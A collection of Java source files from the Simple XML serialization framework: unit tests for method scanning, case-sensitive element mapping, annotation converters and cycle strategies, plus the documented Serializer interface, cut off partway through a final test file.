<|start_filename|>src/test/java/org/simpleframework/xml/core/MethodScannerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.core.Contact;
import org.simpleframework.xml.core.MethodScanner;
import junit.framework.TestCase;
public class MethodScannerTest extends TestCase {
@Root(name="name")
public static class Example {
private int version;
private String name;
@Element(name="version")
public void setVersion(int version) {
this.version = version;
}
@Element(name="version")
public int getVersion() {
return version;
}
@Attribute(name="name")
public void setName(String name) {
this.name = name;
}
@Attribute(name="name")
public String getName() {
return name;
}
}
public static class IllegalOverload extends Example {
private int name;
@Attribute(name="name")
public void setName(int name) {
this.name = name;
}
}
public static class NonMatchingMethods extends Example {
private int type;
@Attribute(name="type")
public void setType(int type) {
this.type = type;
}
}
public static class NotBeanMethod extends Example {
private String type;
@Element(name="type")
public void setType(String type) {
this.type = type;
}
@Element(name="type")
public String readType() {
return type;
}
}
public static class TextMethod extends Example {
private long length;
@Text
public void setLength(long length) {
this.length = length;
}
@Text
public long getLength() {
return length;
}
}
public static class CollectionMethod extends TextMethod {
private Collection list;
@ElementList(name="list", type=Example.class)
public void setList(Collection list) {
this.list = list;
}
@ElementList(name="list", type=Example.class)
public Collection getList() {
return list;
}
}
public void testExample() throws Exception {
MethodScanner scanner = new MethodScanner(new DetailScanner(Example.class), new Support());
ArrayList<Class> list = new ArrayList<Class>();
for(Contact contact : scanner) {
list.add(contact.getType());
}
assertEquals(scanner.size(), 2);
assertTrue(list.contains(String.class));
assertTrue(list.contains(int.class));
}
public void testIllegalOverload() throws Exception {
boolean success = false;
try {
new MethodScanner(new DetailScanner(IllegalOverload.class), new Support());
}catch(Exception e){
success = true;
}
assertTrue(success);
}
public void testNonMatchingMethods() throws Exception {
boolean success = false;
try {
new MethodScanner(new DetailScanner(NonMatchingMethods.class), new Support());
}catch(Exception e){
success = true;
}
assertTrue(success);
}
public void testNotBeanMethod() throws Exception {
boolean success = false;
try {
new MethodScanner(new DetailScanner(NotBeanMethod.class), new Support());
}catch(Exception e){
success = true;
}
assertTrue(success);
}
public void testText() throws Exception {
MethodScanner scanner = new MethodScanner(new DetailScanner(TextMethod.class), new Support());
ArrayList<Class> list = new ArrayList<Class>();
for(Contact contact : scanner) {
list.add(contact.getType());
}
assertEquals(scanner.size(), 3);
assertTrue(list.contains(String.class));
assertTrue(list.contains(int.class));
assertTrue(list.contains(long.class));
}
public void testCollection() throws Exception {
MethodScanner scanner = new MethodScanner(new DetailScanner(CollectionMethod.class), new Support());
ArrayList<Class> list = new ArrayList<Class>();
for(Contact contact : scanner) {
list.add(contact.getType());
}
assertEquals(scanner.size(), 4);
assertTrue(list.contains(String.class));
assertTrue(list.contains(int.class));
assertTrue(list.contains(long.class));
assertTrue(list.contains(Collection.class));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CaseTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class CaseTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<Example Version='1.0' Name='example' URL='http://domain.com/'>\n"+
" <List>\n"+
" <ListEntry id='1'>\n"+
" <Text>one</Text> \n\r"+
" </ListEntry>\n\r"+
" <ListEntry id='2'>\n"+
" <Text>two</Text> \n\r"+
" </ListEntry>\n"+
" <ListEntry id='3'>\n"+
" <Text>three</Text> \n\r"+
" </ListEntry>\n"+
" </List>\n"+
" <TextEntry id='4'>\n" +
" <Text>example 4</Text>\n" +
" </TextEntry>\n" +
" <URLList>\n"+
" <URLEntry>http://a.com/</URLEntry>\n"+
" <URLEntry>http://b.com/</URLEntry>\n"+
" <URLEntry>http://c.com/</URLEntry>\n"+
" </URLList>\n"+
" <TextEntry id='5'>\n" +
" <Text>example 5</Text>\n" +
" </TextEntry>\n" +
" <TextEntry id='6'>\n" +
" <Text>example 6</Text>\n" +
" </TextEntry>\n" +
"</Example>";
@Root(name="Example")
private static class CaseExample {
@ElementList(name="List", entry="ListEntry")
private List<TextEntry> list;
@ElementList(name="URLList")
private List<URLEntry> domainList;
@ElementList(name="TextList", inline=true)
private List<TextEntry> textList;
@Attribute(name="Version")
private float version;
@Attribute(name="Name")
private String name;
@Attribute
private String URL; // Java Bean property is URL
}
@Root(name="TextEntry")
private static class TextEntry {
@Attribute(name="id")
private int id;
@Element(name="Text")
private String text;
}
@Root(name="URLEntry")
private static class URLEntry {
@Text
private String location;
}
public void testCase() throws Exception {
Persister persister = new Persister();
CaseExample example = persister.read(CaseExample.class, SOURCE);
assertEquals(example.version, 1.0f);
assertEquals(example.name, "example");
assertEquals(example.URL, "http://domain.com/");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/AnnotationCycleStrategyTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.ExampleConverters.Entry;
import org.simpleframework.xml.convert.ExampleConverters.OtherEntryConverter;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
public class AnnotationCycleStrategyTest extends ValidationTestCase {
@Root
public static class EntryListExample {
@ElementList(inline=true)
private List<Entry> list = new ArrayList<Entry>();
@Element
@Convert(OtherEntryConverter.class)
private Entry primary;
public Entry getPrimary() {
return primary;
}
public void setPrimary(Entry primary) {
this.primary = primary;
}
public void addEntry(Entry entry){
list.add(entry);
}
public List<Entry> getEntries(){
return list;
}
}
public void testCycle() throws Exception {
CycleStrategy inner = new CycleStrategy();
AnnotationStrategy strategy = new AnnotationStrategy(inner);
Persister persister = new Persister(strategy);
EntryListExample list = new EntryListExample();
StringWriter writer = new StringWriter();
Entry a = new Entry("A", "a");
Entry b = new Entry("B", "b");
Entry c = new Entry("C", "c");
Entry primary = new Entry("PRIMARY", "primary");
list.setPrimary(primary);
list.addEntry(a);
list.addEntry(b);
list.addEntry(c);
list.addEntry(b);
list.addEntry(c);
persister.write(list, writer);
persister.write(list, System.out);
String text = writer.toString();
EntryListExample copy = persister.read(EntryListExample.class, text);
assertEquals(copy.getEntries().get(0), list.getEntries().get(0));
assertEquals(copy.getEntries().get(1), list.getEntries().get(1));
assertEquals(copy.getEntries().get(2), list.getEntries().get(2));
assertEquals(copy.getEntries().get(3), list.getEntries().get(3));
assertEquals(copy.getEntries().get(4), list.getEntries().get(4));
assertTrue(copy.getEntries().get(2) == copy.getEntries().get(4)); // cycle
assertTrue(copy.getEntries().get(1) == copy.getEntries().get(3)); // cycle
assertElementExists(text, "/entryListExample");
assertElementExists(text, "/entryListExample/entry[1]");
assertElementExists(text, "/entryListExample/entry[1]/name");
assertElementExists(text, "/entryListExample/entry[1]/value");
assertElementHasValue(text, "/entryListExample/entry[1]/name", "A");
assertElementHasValue(text, "/entryListExample/entry[1]/value", "a");
assertElementExists(text, "/entryListExample/entry[2]/name");
assertElementExists(text, "/entryListExample/entry[2]/value");
assertElementHasValue(text, "/entryListExample/entry[2]/name", "B");
assertElementHasValue(text, "/entryListExample/entry[2]/value", "b");
assertElementExists(text, "/entryListExample/entry[3]/name");
assertElementExists(text, "/entryListExample/entry[3]/value");
assertElementHasValue(text, "/entryListExample/entry[3]/name", "C");
assertElementHasValue(text, "/entryListExample/entry[3]/value", "c");
assertElementExists(text, "/entryListExample/entry[4]");
assertElementExists(text, "/entryListExample/entry[5]");
assertElementHasAttribute(text, "/entryListExample/entry[4]", "reference", "2"); // cycle
assertElementHasAttribute(text, "/entryListExample/entry[5]", "reference", "3"); // cycle
assertElementExists(text, "/entryListExample/primary");
assertElementHasAttribute(text, "/entryListExample/primary", "name", "PRIMARY"); // other converter
assertElementHasAttribute(text, "/entryListExample/primary", "value", "primary"); // other converter
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/Serializer.java<|end_filename|>
/*
* Serializer.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Reader;
import java.io.Writer;
import java.io.File;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>Serializer</code> interface is used to represent objects
* that can serialize and deserialize objects to an from XML. This
* exposes several <code>read</code> and <code>write</code> methods
* that can read from and write to various sources. Typically an
* object will be read from an XML file and written to some other
* file or stream.
* <p>
* An implementation of the <code>Serializer</code> interface is free
* to use any desired XML parsing framework. If a framework other
* than the Java streaming API for XML is required then it should be
* wrapped within the <code>org.simpleframework.xml.stream</code> API,
* which offers a framework neutral facade.
*
* @author <NAME>
*/
public interface Serializer {
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, String source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, File source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, InputStream source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, Reader source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, InputNode source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, String source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, File source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, InputStream source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, Reader source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and convert it into an object
* of the specified type. If the XML source cannot be deserialized
* or there is a problem building the object graph an exception
* is thrown. The instance deserialized is returned.
*
* @param type this is the class type to be deserialized from XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the object deserialized from the XML document
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(Class<? extends T> type, InputNode source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, String source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, File source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, InputStream source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, Reader source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, InputNode source) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, String source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, File source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, InputStream source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, Reader source, boolean strict) throws Exception;
/**
* This <code>read</code> method will read the contents of the XML
* document from the provided source and populate the object with
* the values deserialized. This is used as a means of injecting an
* object with values deserialized from an XML document. If the
* XML source cannot be deserialized or there is a problem building
* the object graph an exception is thrown.
*
* @param value this is the object to deserialize the XML in to
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return the same instance provided is returned when finished
*
* @throws Exception if the object cannot be fully deserialized
*/
<T> T read(T value, InputNode source, boolean strict) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, String source) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, File source) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, InputStream source) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, Reader source) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, InputNode source) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, String source, boolean strict) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, File source, boolean strict) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, InputStream source, boolean strict) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, Reader source, boolean strict) throws Exception;
/**
* This <code>validate</code> method will validate the contents of
* the XML document against the specified XML class schema. This is
* used to perform a read traversal of the class schema such that
* the document can be tested against it. This is preferred to
* reading the document as it does not instantiate the objects or
* invoke any callback methods, thus making it a safe validation.
*
* @param type this is the class type to be validated against XML
* @param source this provides the source of the XML document
* @param strict this determines whether to read in strict mode
*
* @return true if the document matches the class XML schema
*
* @throws Exception if the class XML schema does not fully match
*/
boolean validate(Class type, InputNode source, boolean strict) throws Exception;
/**
* This <code>write</code> method will traverse the provided object
* checking for field annotations in order to compose the XML data.
* This uses the <code>getClass</code> method on the object to
* determine the class file that will be used to compose the schema.
* If there is no <code>Root</code> annotation for the class then
* this will throw an exception. The root annotation is the only
* annotation required for an object to be serialized.
*
* @param source this is the object that is to be serialized
* @param out this is where the serialized XML is written to
*
* @throws Exception if the schema for the object is not valid
*/
void write(Object source, File out) throws Exception;
/**
* This <code>write</code> method will traverse the provided object
* checking for field annotations in order to compose the XML data.
* This uses the <code>getClass</code> method on the object to
* determine the class file that will be used to compose the schema.
* If there is no <code>Root</code> annotation for the class then
* this will throw an exception. The root annotation is the only
* annotation required for an object to be serialized.
*
* @param source this is the object that is to be serialized
* @param out this is where the serialized XML is written to
*
* @throws Exception if the schema for the object is not valid
*/
void write(Object source, OutputStream out) throws Exception;
/**
* This <code>write</code> method will traverse the provided object
* checking for field annotations in order to compose the XML data.
* This uses the <code>getClass</code> method on the object to
* determine the class file that will be used to compose the schema.
* If there is no <code>Root</code> annotation for the class then
* this will throw an exception. The root annotation is the only
* annotation required for an object to be serialized.
*
* @param source this is the object that is to be serialized
* @param out this is where the serialized XML is written to
*
* @throws Exception if the schema for the object is not valid
*/
void write(Object source, Writer out) throws Exception;
/**
* This <code>write</code> method will traverse the provided object
* checking for field annotations in order to compose the XML data.
* This uses the <code>getClass</code> method on the object to
* determine the class file that will be used to compose the schema.
* If there is no <code>Root</code> annotation for the class then
* this will throw an exception. The root annotation is the only
* annotation required for an object to be serialized.
*
* @param source this is the object that is to be serialized
* @param root this is where the serialized XML is written to
*
* @throws Exception if the schema for the object is not valid
*/
void write(Object source, OutputNode root) throws Exception;
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/ExampleConverters.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
public class ExampleConverters {
public static class CowConverter implements Converter<Cow> {
public Cow read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String age = node.getAttribute("age").getValue();
return new Cow(name, Integer.parseInt(age));
}
public void write(OutputNode node, Cow cow) throws Exception {
node.setAttribute("name", cow.getName());
node.setAttribute("age", String.valueOf(cow.getAge()));
node.setAttribute("legs", String.valueOf(cow.getLegs()));
}
}
public static class ChickenConverter implements Converter<Chicken> {
public Chicken read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String age = node.getAttribute("age").getValue();
return new Chicken(name, Integer.parseInt(age));
}
public void write(OutputNode node, Chicken chicken) throws Exception {
node.setAttribute("name", chicken.getName());
node.setAttribute("age", String.valueOf(chicken.getAge()));
node.setAttribute("legs", String.valueOf(chicken.getLegs()));
}
}
public static class Animal {
private final String name;
private final int age;
private final int legs;
public Animal(String name, int age, int legs) {
this.name = name;
this.legs = legs;
this.age = age;
}
public String getName() {
return name;
}
public int getAge(){
return age;
}
public int getLegs() {
return legs;
}
}
public static class Chicken extends Animal {
public Chicken(String name, int age) {
super(name, age, 2);
}
}
public static class Cow extends Animal {
public Cow(String name, int age) {
super(name, age, 4);
}
}
@Root
@Convert(EntryConverter.class)
public static class Entry {
private final String name;
private final String value;
public Entry(String name, String value) {
this.name = name;
this.value = value;
}
public String getName() {
return name;
}
public String getValue() {
return value;
}
public boolean equals(Object value){
if(value instanceof Entry) {
return equals((Entry)value);
}
return false;
}
public boolean equals(Entry entry) {
return entry.name.equals(name) &&
entry.value.equals(value);
}
}
@Convert(ExtendedEntryConverter.class)
public static class ExtendedEntry extends Entry {
private final int code;
public ExtendedEntry(String name, String value, int code) {
super(name, value);
this.code = code;
}
public int getCode() {
return code;
}
}
public static class ExtendedEntryConverter implements Converter<ExtendedEntry> {
public ExtendedEntry read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String value = node.getAttribute("value").getValue();
String code = node.getAttribute("code").getValue();
return new ExtendedEntry(name, value, Integer.parseInt(code));
}
public void write(OutputNode node, ExtendedEntry entry) throws Exception {
node.setAttribute("name", entry.getName());
node.setAttribute("value", entry.getValue());
node.setAttribute("code", String.valueOf(entry.getCode()));
}
}
public static class OtherEntryConverter implements Converter<Entry> {
public Entry read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String value = node.getAttribute("value").getValue();
return new Entry(name, value);
}
public void write(OutputNode node, Entry entry) throws Exception {
node.setAttribute("name", entry.getName());
node.setAttribute("value", entry.getValue());
}
}
public static class EntryConverter implements Converter<Entry> {
public Entry read(InputNode node) throws Exception {
String name = node.getNext("name").getValue();
String value = node.getNext("value").getValue();
return new Entry(name, value);
}
public void write(OutputNode node, Entry entry) throws Exception {
node.getChild("name").setValue(entry.getName());
node.getChild("value").setValue(entry.getValue());
}
}
public static class EntryListConverter implements Converter<List<Entry>> {
private OtherEntryConverter converter = new OtherEntryConverter();
public List<Entry> read(InputNode node) throws Exception {
List<Entry> entryList = new ArrayList<Entry>();
while(true) {
InputNode item = node.getNext("entry");
if(item == null) {
break;
}
entryList.add(converter.read(item));
}
return entryList;
}
public void write(OutputNode node, List<Entry> entryList) throws Exception {
for(Entry entry : entryList) {
OutputNode item = node.getChild("entry");
converter.write(item, entry);
}
}
}
public static class Pet implements org.simpleframework.xml.util.Entry{
private final String name;
private final int age;
public Pet(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge(){
return age;
}
public boolean equals(Object value) {
if(value instanceof Pet) {
return equals((Pet)value);
}
return false;
}
public boolean equals(Pet pet) {
return pet.name.equals(name) &&
pet.age == age;
}
}
public static class Cat extends Pet{
public Cat(String name, int age) {
super(name, age);
}
}
public static class Dog extends Pet{
public Dog(String name, int age) {
super(name, age);
}
}
public static class CatConverter implements Converter<Cat>{
private static final String ELEMENT_NAME = "name";
private static final String ELEMENT_AGE = "age";
public Cat read(InputNode source) throws Exception{
int age = 0;
String name = null;
while(true) {
InputNode node = source.getNext();
if(node == null) {
break;
}else if(node.getName().equals(ELEMENT_NAME)) {
name = node.getValue();
}else if(node.getName().equals(ELEMENT_AGE)){
age = Integer.parseInt(node.getValue().trim());
}
}
return new Cat(name, age);
}
public void write(OutputNode node, Cat cat)throws Exception {
OutputNode name = node.getChild(ELEMENT_NAME);
name.setValue(cat.getName());
OutputNode age = node.getChild(ELEMENT_AGE);
age.setValue(String.valueOf(cat.getAge()));
}
}
public static class DogConverter implements Converter<Dog>{
private static final String ELEMENT_NAME = "name";
private static final String ELEMENT_AGE = "age";
public Dog read(InputNode node) throws Exception{
String name = node.getAttribute(ELEMENT_NAME).getValue();
String age = node.getAttribute(ELEMENT_AGE).getValue();
return new Dog(name, Integer.parseInt(age));
}
public void write(OutputNode node, Dog dog)throws Exception {
node.setAttribute(ELEMENT_NAME, dog.getName());
node.setAttribute(ELEMENT_AGE, String.valueOf(dog.getAge()));
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StaticTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
